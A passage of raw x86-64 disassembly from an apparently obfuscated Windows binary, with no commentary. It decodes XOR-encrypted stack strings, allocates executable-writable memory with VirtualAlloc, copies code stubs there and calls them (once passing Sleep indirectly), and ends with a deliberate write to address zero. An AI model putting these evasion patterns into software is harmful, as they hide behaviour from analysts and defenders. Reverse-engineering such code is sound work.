paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x74]
xorps xmm2, xmm1
movd dword [rsp + 0x74], xmm2
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x70]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
movzx eax, r9b
add al, al
add cl, 0x51
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xc
jl 0x1400239d0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x160], rax
lea rcx, [rsp + 0x170]
call fcn.140002530
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002540
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
test rax, rax
je 0x140023a89
mov rdx, rsi
cmp rax, r12
je 0x140023a78
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x140023a60
jmp 0x140023a89
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
jne 0x140023b6f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140023ab2
mov r8, rsi
jmp 0x140023b4e
mov rax, r12
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140023ac0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x160]
lea rcx, [0x1400015f0]
call r8
nop
mov rcx, qword [rsp + 0x178]
xor rcx, qword [rsp + 0x170]
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x140037018]
mov dword [rsp + 0x78], eax
movzx eax, word [0x14003701c]
mov word [rsp + 0x7c], ax
movzx eax, byte [0x14003701e]
movsd xmm0, qword [0x140037010]
mov byte [rsp + 0x7e], al
movsd qword [rsp + 0x70], xmm0
mov r9d, esi
cmp edi, 2
jl 0x140023d54
movdqa xmm3, xmm13
punpckldq xmm3, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm2, xmm3
pmuldq xmm2, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm12
pmuldq xmm1, xmm12
shufps xmm3, xmm1, 0xdd
psrad xmm3, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmmword [0x140037360]
psubd xmm13, xmm0
andps xmm13, xmm14
packuswb xmm13, xmm13
packuswb xmm13, xmm13
paddb xmm1, xmm13
mov eax, dword [0x140037330]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140037010]
xorps xmm1, xmm0
movd dword [rsp + 0x70], xmm1
movdqa xmm5, xmmword [0x1400372d0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140037360]
movdqa xmm2, xmm5
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm5, xmm0
andps xmm5, xmm14
packuswb xmm5, xmm5
packuswb xmm5, xmm5
paddb xmm2, xmm5
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x74]
xorps xmm2, xmm1
movd dword [rsp + 0x74], xmm2
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x70]
add r10, rax
nop
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
movzx eax, r9b
add al, al
add cl, 0x51
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xf
jl 0x140023d60
lea rax, [rsp + 0x70]
mov qword [rsp + 0x160], rax
lea rcx, [rsp + 0x170]
call fcn.140002530
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002540
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
test rax, rax
je 0x140023e19
mov rdx, rsi
cmp rax, r12
je 0x140023e08
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x140023df0
jmp 0x140023e19
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
jne 0x140023eff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140023e42
mov r8, rsi
jmp 0x140023ede
mov rax, r12
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140023e50
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x160]
lea rcx, [0x1400015f0]
call r8
nop
mov rcx, qword [rsp + 0x178]
xor rcx, qword [rsp + 0x170]
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
mov dword [rsp + 0x148], 0x3e8
lea rcx, [rsp + 0x170]
call fcn.140002530
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002540
nop
mov ecx, esi
mov rax, qword [0x140041260]
lea rbx, [0x140027730]
test rax, rax
je 0x140023f9c
mov rdx, rsi
cmp rax, rbx
je 0x140023f8b
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x41260]
test rax, rax
jne 0x140023f73
jmp 0x140023f9c
mov r10, qword [r15 + rdx*8 + 0x42ba0]
test r10, r10
jne 0x14002407f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x140023fc5
mov r10, rsi
jmp 0x14002405e
mov rax, rbx
mov rcx, r10
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r13, 1
jne 0x140023fd0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400418a0]
mov qword [r15 + rax*8 + 0x41260], rbx
mov qword [r15 + rax*8 + 0x42ba0], r10
inc rax
mov qword [0x1400418a0], rax
lea rdx, [rsp + 0x148]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r10
nop
mov rcx, qword [rsp + 0x178]
xor rcx, qword [rsp + 0x170]
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
mov qword [0], rsi
lea rcx, [rsp + 0x200]
call fcn.1400261a0
nop
lea rcx, [rsp + 0x258]
call fcn.1400261a0
nop
mov rcx, qword [rsp + 0x248]
xor rcx, qword [rsp + 0x240]
mov rax, qword [rsp + 0x250]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x1610]
xor rcx, rsp
call fcn.1400314a0
lea r11, [rsp + 0x16c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
ret